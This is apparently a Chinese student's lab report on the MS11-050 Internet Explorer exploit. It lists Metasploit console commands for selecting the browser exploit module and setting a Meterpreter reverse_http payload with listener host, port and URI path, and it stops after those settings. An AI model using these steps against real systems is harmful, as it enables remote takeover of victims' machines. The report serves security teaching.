20145339 Exp5 MS11_050

时间:2023-03-09 08:25:15
20145339 Exp5 MS11_050

20145339 Exp5 MS11_050

实验过程

    • 使用命令msfconsole命令进入控制台
    • 20145339 Exp5 MS11_050
    • 使用命令search ms11_050查看针对MS11_050漏洞的攻击模块
    • 20145339 Exp5 MS11_050
    • 确定相应模块名之后,我们使用该模块。使用命令 use exploit/windows/browser/ms11_050_mshtml_cobjectelement进入模块
    • 使用命令info查看该模块的具体信息
    • 20145339 Exp5 MS11_050

    • 设置paylaods,我们选择了windows/meterpreter/reverse_http该payload会返回一个遵循http协议的shell,我们以此来获得目标主机系统权限。使用命令set payloads windows/meterpreter/reverse_http
    • 20145339 Exp5 MS11_050
    • 使用show options 查看具体参数设置
      20145339 Exp5 MS11_050

    • 设置其相关参数

      set LHOST 192.168.1.104
      set LPORT 5339
      set URIPATH 20145339RX
    • 20145339 Exp5 MS11_050